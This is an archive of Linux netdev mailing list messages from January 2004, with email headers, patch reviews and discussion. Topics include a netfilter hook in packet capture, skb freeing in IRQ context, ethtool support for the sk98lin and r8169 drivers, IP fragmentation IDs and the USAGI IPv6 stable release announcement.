From anand@eis.iisc.ernet.in Thu Jan 1 01:36:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 01 Jan 2004 01:36:44 -0800 (PST) Received: from iisc.ernet.in ([144.16.64.3]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i019aFTa015403 for ; Thu, 1 Jan 2004 01:36:17 -0800 Received: from eis.iisc.ernet.in (eis.iisc.ernet.in [144.16.64.5]) by iisc.ernet.in (8.12.8/8.12.8) with SMTP id i019f9bk016607 for ; Thu, 1 Jan 2004 15:11:09 +0530 Received: by eis.iisc.ernet.in (SMI-8.6/SMI-4.1) id PAA19361; Thu, 1 Jan 2004 15:05:48 +0530 From: anand@eis.iisc.ernet.in (SVR Anand) Message-Id: <200401010935.PAA19361@eis.iisc.ernet.in> Subject: netfilter hook in packet capture To: netdev@oss.sgi.com Date: Thu, 1 Jan 2004 15:05:47 +0530 (GMT+05:30) X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 2193 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: anand@eis.iisc.ernet.in Precedence: bulk X-list: netdev Hi, I am hoping that this mail will be relevant to those who have an user level application that does firewalling by promiscuously capturing packets, apply extensive decision making rules. I have written one such application and found what I am going to say below has helped me a lot. In the above mentioned scenario, there are many instances I preferred to do the following in the kernel itself as much as possible before further processing done in the user firewall code. What I wanted was i) selective packet capture ii) DoS protection iii) Externally controlling the kernel level filter rules without disrupting the firewall application iv) Ease of filter management vi) Logging v) Performance ... I found that iptables/netfilter satisfies all my requirements as compared to the existing bpf filter. Hence all I had to do was include NF_HOOK at couple of places in af_packet.c and I have the netfilter features accessible to me. With the above trivial inclusion I am currently running my application with all the initial work done by netfilter. Thanks netfilter group! While the sanctity or appropriateness or compliance of the above patch within packet capture scheme of things can be frowned upon, since its utility has been beneficial to me, I thought I would share it with you. If you find it useful I can send you rather simple patch which perhaps you could have easily guessed it! Anand From davem@pizda.ninka.net Thu Jan 1 12:29:32 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 01 Jan 2004 12:29:46 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i01KTWTa002355 for ; Thu, 1 Jan 2004 12:29:32 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id MAA10678; Thu, 1 Jan 2004 12:24:31 -0800 Date: Thu, 1 Jan 2004 12:24:30 -0800 From: "David S. Miller" To: "YOSHIFUJI Hideaki / _$B5HF#1QL@" Cc: netdev@oss.sgi.com Subject: Re: [PATCH] IPV6: kill obsolete functions Message-Id: <20040101122430.4fcf6bfd.davem@redhat.com> In-Reply-To: <20040101.154305.69668715.yoshfuji@linux-ipv6.org> References: <20040101.154305.69668715.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2194 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Thu, 01 Jan 2004 15:43:05 +0900 (JST) YOSHIFUJI Hideaki / _$B5HF#1QL@ wrote: > We've migrated to ip6_append_data(). Old functions such as > ip6_frag_xmit() and ip6_build_xmit() are no longer used. > > D: kill obsolete functions. Applied, arigato Yoshfuji-san. From davem@pizda.ninka.net Thu Jan 1 12:43:13 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 01 Jan 2004 12:43:26 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i01KhBTa002835 for ; Thu, 1 Jan 2004 12:43:13 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id MAA10719; Thu, 1 Jan 2004 12:38:14 -0800 Date: Thu, 1 Jan 2004 12:38:14 -0800 From: "David S. Miller" To: Bart De Schuymer Cc: shemminger@osdl.org, netdev@oss.sgi.com Subject: Re: [PATCH] Fix loopback over bridge port Message-Id: <20040101123814.15fdc875.davem@redhat.com> In-Reply-To: <200312271536.46940.bdschuym@pandora.be> References: <200312271536.46940.bdschuym@pandora.be> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2195 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Sat, 27 Dec 2003 15:36:46 +0100 Bart De Schuymer wrote: > I think the code (in net/ipv4/ip_output.c::ip_dev_loopback_xmit()) > __skb_pull(newskb, newskb->nh.raw - newskb->data); > is useless, as data always points to the network header at that moment. But > that's not really my territory... I think you're right about this, but the code there doesn't cause any problems either, effectively it's a NOP. One could test out whether you and I are right or not by replacing the __skb_pull() call with BUG_TRAP(skb->nh.raw == skb->data) From davem@pizda.ninka.net Thu Jan 1 12:47:14 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 01 Jan 2004 12:47:26 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i01KlDTa003236 for ; Thu, 1 Jan 2004 12:47:13 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id MAA10731; Thu, 1 Jan 2004 12:42:18 -0800 Date: Thu, 1 Jan 2004 12:42:18 -0800 From: "David S. Miller" To: Jeff Garzik Cc: benh@kernel.crashing.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Problem with dev_kfree_skb_any() in 2.6.0 Message-Id: <20040101124218.258e8b73.davem@redhat.com> In-Reply-To: <3FF1B939.1090108@pobox.com> References: <1072567054.4112.14.camel@gaston> <20031227170755.4990419b.davem@redhat.com> <3FF0FA6A.8000904@pobox.com> <20031229205157.4c631f28.davem@redhat.com> <20031230051519.GA6916@gtf.org> <20031229220122.30078657.davem@redhat.com> <3FF11745.4060705@pobox.com> <20031229221345.31c8c763.davem@redhat.com> <3FF1B939.1090108@pobox.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2196 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Tue, 30 Dec 2003 12:43:21 -0500 Jeff Garzik wrote: > Luckily, I feel there is an easy solution, as shown in the attached > patch. We _already_ queue skbs in dev_kfree_skb_irq(). Therefore, > dev_kfree_skb_any() can simply use precisely that same solution. The > raise-softirq code will immediately proceed to action if we are not in > hard IRQ context, otherwise it will follow the expected path. Ok, this is reasonable and works. Though, is there any particular reason you don't like adding a "|| irqs_disabled()" check to the if statement instead? I prefer that solution better actually. From garzik@gtf.org Thu Jan 1 18:58:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 01 Jan 2004 18:58:28 -0800 (PST) Received: from havoc.gtf.org (havoc.gtf.org [63.247.75.124]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i022wETa017655 for ; Thu, 1 Jan 2004 18:58:15 -0800 Received: by havoc.gtf.org (Postfix, from userid 500) id 26E0E6611; Thu, 1 Jan 2004 21:58:07 -0500 (EST) Date: Thu, 1 Jan 2004 21:58:07 -0500 From: Jeff Garzik To: "David S. Miller" Cc: benh@kernel.crashing.org, linux-kernel@vger.kernel.org, netdev@oss.sgi.com Subject: Re: Problem with dev_kfree_skb_any() in 2.6.0 Message-ID: <20040102025807.GB3851@gtf.org> References: <1072567054.4112.14.camel@gaston> <20031227170755.4990419b.davem@redhat.com> <3FF0FA6A.8000904@pobox.com> <20031229205157.4c631f28.davem@redhat.com> <20031230051519.GA6916@gtf.org> <20031229220122.30078657.davem@redhat.com> <3FF11745.4060705@pobox.com> <20031229221345.31c8c763.davem@redhat.com> <3FF1B939.1090108@pobox.com> <20040101124218.258e8b73.davem@redhat.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20040101124218.258e8b73.davem@redhat.com> User-Agent: Mutt/1.3.28i X-archive-position: 2197 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev On Thu, Jan 01, 2004 at 12:42:18PM -0800, David S. Miller wrote: > On Tue, 30 Dec 2003 12:43:21 -0500 > Jeff Garzik wrote: > > > Luckily, I feel there is an easy solution, as shown in the attached > > patch. We _already_ queue skbs in dev_kfree_skb_irq(). Therefore, > > dev_kfree_skb_any() can simply use precisely that same solution. The > > raise-softirq code will immediately proceed to action if we are not in > > hard IRQ context, otherwise it will follow the expected path. > > Ok, this is reasonable and works. > > Though, is there any particular reason you don't like adding a > "|| irqs_disabled()" check to the if statement instead? > I prefer that solution better actually. Yep, in fact when I wrote the above message, I came across a couple when I was pondering... * the destructor runs in a more predictable context. * given the problem that started this thread, the 'if' test is a potentially problematic area. Why not eliminate all possibility that this problem will occur again? The only counter argument to this -- to which I have no data to answer -- is that there may be advantage to calling __kfree_skb immediately instead of deferring it slightly. I didn't think that disadvantage outweighted the above, but who knows... I can possibly be convinced otherwise. (and "otherwise" would be using || irqs_disabled()) For the users who don't know/don't care about their context, it just seemed to me that they were not a hot path like users of dev_kfree_skb() and dev_kfree_skb_irq() [unconditional] are... Jeff From scott.feldman@intel.com Thu Jan 1 23:25:05 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 01 Jan 2004 23:25:18 -0800 (PST) Received: from caduceus.fm.intel.com (fmr02.intel.com [192.55.52.25]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i027P5Ta027452 for ; Thu, 1 Jan 2004 23:25:05 -0800 Received: from petasus.fm.intel.com (petasus.fm.intel.com [10.1.192.37]) by caduceus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.12 2003/12/18 18:58:11 root Exp $) with ESMTP id i027PMgd032695; Fri, 2 Jan 2004 07:25:22 GMT Received: from fmsmsxvs042.fm.intel.com (fmsmsxvs042.fm.intel.com [132.233.42.128]) by petasus.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i027PGMQ030344; Fri, 2 Jan 2004 07:25:18 GMT Received: from [134.134.3.50] ([134.134.3.50]) by fmsmsxvs042.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004010123240127965 ; Thu, 01 Jan 2004 23:24:01 -0800 Date: Fri, 2 Jan 2004 00:00:41 -0800 (PST) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Mirko Lindner cc: Jeff Garzik , , , , Subject: Re: [PATCH]sk98lin ethtool support In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=ISO-8859-1 X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by oss.sgi.com id i027P5Ta027452 X-archive-position: 2198 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev On Tue, 30 Dec 2003, Mirko Lindner wrote: > > Make sure you don't duplicate any ethtool functions.  We don't need a > > NIC-specific diag tool either ;-)  ethtool is the preferred method > > moving forward, as it's already shipping in most Linux distros. > > Yes, we need it ;) No kidding! This is not a tool for SW checks like > media, link or driver version checks, but a tool for HW checks like > register, PROM, MAC, PHY and some other chip and card checks. The > ethtool is a great tool, but the intention of this tool is not the same. If the tool reports the results of running the h/w checks, then you can use ETHTOOL_TEST. The summary results of all the tests is reported as PASS/FAIL. Not sure if your tool needs to do more... -scott From uucp@coruscant.gnumonks.org Fri Jan 2 04:12:30 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 02 Jan 2004 04:12:50 -0800 (PST) Received: from coruscant.gnumonks.org (mail@coruscant.franken.de [193.174.159.226]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i02CCTTa003090 for ; Fri, 2 Jan 2004 04:12:30 -0800 Received: from uucp by coruscant.gnumonks.org with local-bsmtp (Exim 4.20) id 1AcOAF-0003i6-KJ for netdev@oss.sgi.com; Fri, 02 Jan 2004 13:12:27 +0100 Received: from laforge by obroa-skai.gnumonks.org with local (Exim 3.36 #1) id 1AcOA7-0001Xr-00; Fri, 02 Jan 2004 13:12:19 +0100 Date: Fri, 2 Jan 2004 13:12:18 +0100 From: Harald Welte To: SVR Anand Cc: netdev@oss.sgi.com Subject: Re: netfilter hook in packet capture Message-ID: <20040102121218.GK3530@obroa-skai.de.gnumonks.org> References: <200401010935.PAA19361@eis.iisc.ernet.in> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="KrHCbChajFcK0yQE" Content-Disposition: inline In-Reply-To: <200401010935.PAA19361@eis.iisc.ernet.in> X-Operating-System: Linux obroa-skai.de.gnumonks.org 2.6.0-test11 X-Date: Today is Prickle-Prickle, the 72nd day of The Aftermath in the YOLD 3169 User-Agent: Mutt/1.5.4i X-archive-position: 2199 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: laforge@netfilter.org Precedence: bulk X-list: netdev --KrHCbChajFcK0yQE Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Thu, Jan 01, 2004 at 03:05:47PM +0530, SVR Anand wrote: > While the sanctity or appropriateness or compliance of the above patch wi= thin > packet capture scheme of things can be frowned upon, since its utility ha= s=20 > been beneficial to me, I thought I would share it with you. If you find it > useful I can send you rather simple patch which perhaps you could have ea= sily > guessed it! We would definitely be interested in such a patch. Please first submit it to the netfilter development team, and we will then push it for kernel inclusion (after any changes/suggestions that we might have). Please send the patch to netfilter-devel@lists.netfilter.org Thanks a lot! > Anand --=20 - Harald Welte http://www.netfilter.org/ =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D "Fragmentation is like classful addressing -- an interesting early architectural error that shows how much experimentation was going on while IP was being designed." -- Paul Vixie --KrHCbChajFcK0yQE Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.3 (GNU/Linux) iD8DBQE/9WAiXaXGVTD0i/8RAjuRAJ4ro+9ux1s7gHn0RPyGD/xgoNCFfACeOys6 A3nHSwc7BsqgWdF5Y1ttJb4= =Cv1I -----END PGP SIGNATURE----- --KrHCbChajFcK0yQE-- From demon@pro-linux.de Fri Jan 2 05:26:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 02 Jan 2004 05:27:05 -0800 (PST) Received: from pro-linux.de (4demon.com [217.160.186.4]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i02DQoTa006995 for ; Fri, 2 Jan 2004 05:26:51 -0800 Received: from pro-linux.de (p508B2522.dip.t-dialin.net [80.139.37.34]) by pro-linux.de (Postfix) with ESMTP id B05FE14009E; Fri, 2 Jan 2004 14:26:48 +0100 (CET) Message-ID: <3FF57ECE.5020107@pro-linux.de> Date: Fri, 02 Jan 2004 14:23:10 +0000 From: Mirko Lindner User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6b) Gecko/20031210 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Feldman, Scott" Cc: Jeff Garzik , krishnakumar@naturesoft.net, mlindner@syskonnect.de, netdev@oss.sgi.com, felix@allot.com Subject: Re: [PATCH]sk98lin ethtool support References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2200 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: demon@pro-linux.de Precedence: bulk X-list: netdev Feldman, Scott wrote: > On Tue, 30 Dec 2003, Mirko Lindner wrote: > > >>>Make sure you don't duplicate any ethtool functions. We don't need a >>>NIC-specific diag tool either ;-) ethtool is the preferred method >>>moving forward, as it's already shipping in most Linux distros. >> >>Yes, we need it ;) No kidding! This is not a tool for SW checks like >>media, link or driver version checks, but a tool for HW checks like >>register, PROM, MAC, PHY and some other chip and card checks. The >>ethtool is a great tool, but the intention of this tool is not the same. > > > If the tool reports the results of running the h/w checks, then you can > use ETHTOOL_TEST. The summary results of all the tests is reported as > PASS/FAIL. Not sure if your tool needs to do more... > > -scott > > > > > > Scott, thanks for this info, but the tool reports not only the status, but also the results of a test (Example: "Register 0xxxx=xxx", PROM info...). "Problem" 2: All tests are included in the DIAG tool and not in the driver. We have approx. 100 separate tests (over 1000 individual tests) and the driver is huge enough (Support for Genesis, Yukon, Yukon-Lite, Yukon-Plus and Yukon2 chipsets). Mirko From skraw@ithnet.com Fri Jan 2 07:00:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Fri, 02 Jan 2004 07:00:34 -0800 (PST) Received: from heather-ng.ithnet.com (mail3.ithnet.com [217.64.64.7]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i02F0KTa014253 for ; Fri, 2 Jan 2004 07:00:21 -0800 Received: (qmail 6723 invoked by uid 0); 2 Jan 2004 12:39:14 -0000 Received: from skraw@ithnet.com by heather-ng (Processed in 0.556945 secs); 02 Jan 2004 12:39:14 -0000 X-Virus-Status: No Received: from unknown (HELO ithnet.com) (217.64.64.14) by heather-ng.ithnet.com with SMTP; 2 Jan 2004 12:39:13 -0000 X-Sender-Authentication: net64 Date: Fri, 2 Jan 2004 13:39:13 +0100 From: Stephan von Krawczynski To: netdev@oss.sgi.com Subject: Re: 2.4 and ip fragmentation question (background info) Message-Id: <20040102133913.488cd537.skraw@ithnet.com> In-Reply-To: <20031231122325.77f19143.skraw@ithnet.com> References: <20031231122325.77f19143.skraw@ithnet.com> Organization: ith Kommunikationstechnik GmbH X-Mailer: Sylpheed version 0.9.8 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2201 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: skraw@ithnet.com Precedence: bulk X-list: netdev On Wed, 31 Dec 2003 12:23:25 +0100 Stephan von Krawczynski wrote: > Hello, > > is ip fragmentation thought to work with multiple fragmented packets all with > same ID field, same source and destination address? Or can one consider this > situation as generally unsolvable and broken by application? > > Regards, > Stephan As this question obviously sounded significantly stupid enough not to be answered I may point you to this code in 2.4 include/net/ip.h: static inline void ip_select_ident(struct iphdr *iph, struct dst_entry *dst, struct sock *sk) { if (iph->frag_off&__constant_htons(IP_DF)) { /* This is only to work around buggy Windows95/2000 * VJ compression implementations. If the ID field * does not change, they drop every other packet in * a TCP stream using header compression. */ iph->id = ((sk && sk->daddr) ? htons(sk->protinfo.af_inet.id++) : 0); } else __ip_select_ident(iph, dst); } As you all know this sets the ID field inside the ip-header. Interestingly it depends on frag_off and sk->daddr field. I ran into an application (formerly for 2.2 kernel) where the author (!=me) obviously was unaware of this dependency and initialised these fields after calling ip_select_ident. The outcome was that everything runs normal during low traffic, but when more packets were transferred it looked like a increasing amount of packets got "0" as ID, because iph->frag_off was not initialised correctly and the skbs were of course not zeroed. Still this would have been no problem if these packets weren't fragmented. What I saw was that packets got corrupted during high load (because fragmentation obviously vomitted on the high rate of "ID=0" packets), but all was perfectly well during low load. Should the author have read some doc where it is clearly stated that ip_select_ident needs a more or less completely initialised ip header to work as expected? (other way round see my original question...) Regards, Stephan From Sidharth.Deshpande@fh-heidelberg.de Sat Jan 3 06:40:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Sat, 03 Jan 2004 06:40:55 -0800 (PST) Received: from proxy.fh-heidelberg.de (dnsfh.fh-heidelberg.de [193.197.74.49]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i03EefTa010720 for ; Sat, 3 Jan 2004 06:40:42 -0800 Received: from EXFBI01.dcs.fh-heidelberg.de (localhost [127.0.0.1]) by proxy.fh-heidelberg.de (Postfix) with ESMTP id 8C9B31EE5B for ; Sat, 3 Jan 2004 15:40:34 +0100 (CET) content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Subject: netstat -s X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Date: Sat, 3 Jan 2004 15:40:34 +0100 Message-ID: <842F6B6B3410144AB9937CFECFE446DE804AF5@EXFBI01.dcs.fh-heidelberg.de> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: netstat -s Thread-Index: AcPSB6Kw03MxMWcRQMKrf9who8sE8g== From: "Deshpande, Sidharth (FH)" To: Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i03EefTa010720 X-archive-position: 2202 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Sidharth.Deshpande@fh-heidelberg.de Precedence: bulk X-list: netdev Hello Team, I am looking for explanation of output generated by 'netstat -s' on a Linux box. Would any of you spare some time and please let me know what it means or atleast direct me to a definitive source. Thank you Sidharth Deshpande From krishnakumar@naturesoft.net Sun Jan 4 01:58:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 04 Jan 2004 01:58:33 -0800 (PST) Received: from naturesoft.net ([203.145.184.221]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i049wITa029412 for ; Sun, 4 Jan 2004 01:58:19 -0800 Received: from gw3.laser5.co.jp ([211.5.140.198] helo=l5ac210.l5.laser5.co.jp) by naturesoft.net with asmtp (Exim 3.35 #1) id 1Ad4yy-0007Uj-00; Sun, 04 Jan 2004 15:25:41 +0530 Subject: [PATCH] r8169 ethtool support. From: "Krishnakumar. R" Reply-To: krishnakumar@naturesoft.net To: jgarzik@pobox.com Cc: Francois Romieu , netdev@oss.sgi.com Content-Type: text/plain Organization: Naturesoft Ltd Message-Id: <1073210391.3555.7.camel@l5ac210.l5.laser5.co.jp> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-4) Date: 04 Jan 2004 18:59:51 +0900 Content-Transfer-Encoding: 7bit X-archive-position: 2203 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: krishnakumar@naturesoft.net Precedence: bulk X-list: netdev Hi, The following patch introduces ethtool support for the r8169 driver. Only the driver info operation will be supported. I dont have the hardware with me, hence has done only a compilation test. The patch is against the latest 2.6.x experimental net driver queue, which is based on 2.6.0-bk2. If found okay, please do apply. Regards, KK. Diffstat output: ---------------- r8169.c | 15 +++++++++++++++ 1 files changed, 15 insertions(+) The patch --------- --- linux-2.6.0-bk2.netdrv.exp/drivers/net/r8169.orig.c 2004-01-04 18:47:10.000000000 +0900 +++ linux-2.6.0-bk2.netdrv.exp/drivers/net/r8169.c 2004-01-04 18:43:06.000000000 +0900 @@ -40,6 +40,7 @@ #include #include #include +#include #include #include @@ -382,6 +383,19 @@ return value; } +static void rtl8169_get_drvinfo (struct net_device *dev, struct ethtool_drvinfo *info) +{ + struct rtl8169_private *tp = dev->priv; + + strcpy (info->driver, RTL8169_DRIVER_NAME); + strcpy (info->version, RTL8169_VERSION ); + strcpy (info->bus_info, pci_name(tp->pci_dev)); +} + +static struct ethtool_ops rtl8169_ethtool_ops = { + .get_drvinfo = rtl8169_get_drvinfo, +}; + static void rtl8169_write_gmii_reg_bit(void *ioaddr, int reg, int bitnum, int bitval) { @@ -793,6 +807,7 @@ dev->open = rtl8169_open; dev->hard_start_xmit = rtl8169_start_xmit; dev->get_stats = rtl8169_get_stats; + dev->ethtool_ops = &rtl8169_ethtool_ops; dev->stop = rtl8169_close; dev->tx_timeout = rtl8169_tx_timeout; dev->set_multicast_list = rtl8169_set_rx_mode; -- Home Page: http://puggy.symonds.net/~krishnakumar/ From sekiya@wide.ad.jp Sun Jan 4 08:06:23 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 04 Jan 2004 08:06:36 -0800 (PST) Received: from yui.nc.u-tokyo.ac.jp (yui.nc.u-tokyo.ac.jp [130.69.251.116]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i04G6LTa021664 for ; Sun, 4 Jan 2004 08:06:22 -0800 Received: from anzu.nc.u-tokyo.ac.jp (anzu.nc.u-tokyo.ac.jp [130.69.251.114]) (authenticated bits=0) by yui.nc.u-tokyo.ac.jp (8.12.10/8.12.3/Debian-6.4) with ESMTP id i04G6EYl011355 for ; Mon, 5 Jan 2004 01:06:15 +0900 Date: Mon, 05 Jan 2004 01:06:09 +0900 Message-ID: From: Yuji Sekiya To: netdev@oss.sgi.com Subject: USAGI STABLE Release 5 User-Agent: Wanderlust/2.8.1 (Something) SEMI/1.14.3 (=?ISO-2022-JP?B?GyRCNW0lTkMrGyhC?=) FLIM/1.14.4 (=?ISO-2022-JP?B?GyRCM2A4Nj9ANVxBMBsoQg==?=) APEL/10.3 Emacs/20.7 (i386-vine-linux-gnu) MULE/4.1 (=?ISO-2022-JP?B?GyRCMCobKEI=?=) Organization: USAGI Project MIME-Version: 1.0 (generated by SEMI 1.14.3 - =?ISO-2022-JP?B?IhskQjVtGyhC?= =?ISO-2022-JP?B?GyRCJU5DKxsoQiI=?=) Content-Type: text/plain; charset=US-ASCII X-archive-position: 2204 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: sekiya@sfc.wide.ad.jp Precedence: bulk X-list: netdev A Happy New Year ! We are glad to announce the USAGI STABLE RELEASE 5, dated on January 4th, 2004. This is the last major STABLE release based on linux-2.4 kernel from USAGI Project. Our primary target of development is moved to linux-2.6 kernel. Changes from the STABLE RELEASE 4.1 are: * based on linux-2.4.21, * IPsec transport/tunnel mode support, * Mobile IPv6 support, * fixed interaction between IPsec and Mobile IPv6, * Default Router Preference Support, and * Route Information Option Support. However, the IPsec and Mobile IPv6 implementations included in this STABLE release may not developed further. Because the IPsec stack was written for linux-2.4 kernel by USAGI Project and currently we have rewritten NEW IPsec stack for linux-2.6 kernel and the stack is included linux-2.6 mainline kernel. The IPsec stack included linux-2.6 kernel is implemented based on "xfrm" architecture and we will continue developing based on the NEW IPsec stack. The Mobile IPv6 stack is the same situation as the IPsec. The Mobile IPv6 stack included in this release is developed by HUT GO Project and the stack is mainly written for linux-2.4 kernel. Currently USAGI Project and GO Project have started joint project for developing new Mobile IPv6 stack based on linux-2.6 kernel. You can get our complete kit which includes kernel tree, library and applications from . We also provide separate patches against the main-line kernel and the tools . Many of our efforts are already in mainline kernel tree. We will continue making reasonable size patches and trying to merge it into mainline kernel tree. We announce the latest information on our web pages. Please check our web site . We also manage the mailing lists for USAGI users. If you have questions, please join the mailing list. Comments and advises are also welcome on that mailing list. Please visit for further information. Thanks. About USAGI Project The USAGI Project is managed by volunteers and aims to provide better IPv6 environment on Linux freely. We are tightly collaborating with WIDE Project, KAME Project and TAHI Project, and trying to improve Linux kernel, IPv6 related libraries and IPv6 applications. Our snapshots are released every two weeks and stable release is released several times a year. Please check our web site http://www.linux-ipv6.org for the latest information. -- USAGI Project members From brad@mainstreetsoftworks.com Sun Jan 4 09:38:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 04 Jan 2004 09:38:34 -0800 (PST) Received: from nameserver1.mcve.com (nameserver1.brainwerkz.net [209.251.159.130]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i04Hc8Ta026827 for ; Sun, 4 Jan 2004 09:38:09 -0800 Received: from mainstreetsoftworks.com (ip68-105-173-45.ga.at.cox.net [68.105.173.45]) by nameserver1.mcve.com (Postfix) with ESMTP id 00D3C85B43; Sun, 4 Jan 2004 12:03:02 -0500 (EST) Message-ID: <3FF846C3.5070207@mainstreetsoftworks.com> Date: Sun, 04 Jan 2004 12:00:51 -0500 From: Brad House User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20031121 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Francois Romieu Cc: netdev@oss.sgi.com, Jeff Garzik , brad_mssw@gentoo.org Subject: r8169 in netdev experimental References: <20031122183001.GA16993@gtf.org> <20031124000939.A456@electric-eye.fr.zoreil.com> <20031126004550.A25408@electric-eye.fr.zoreil.com> 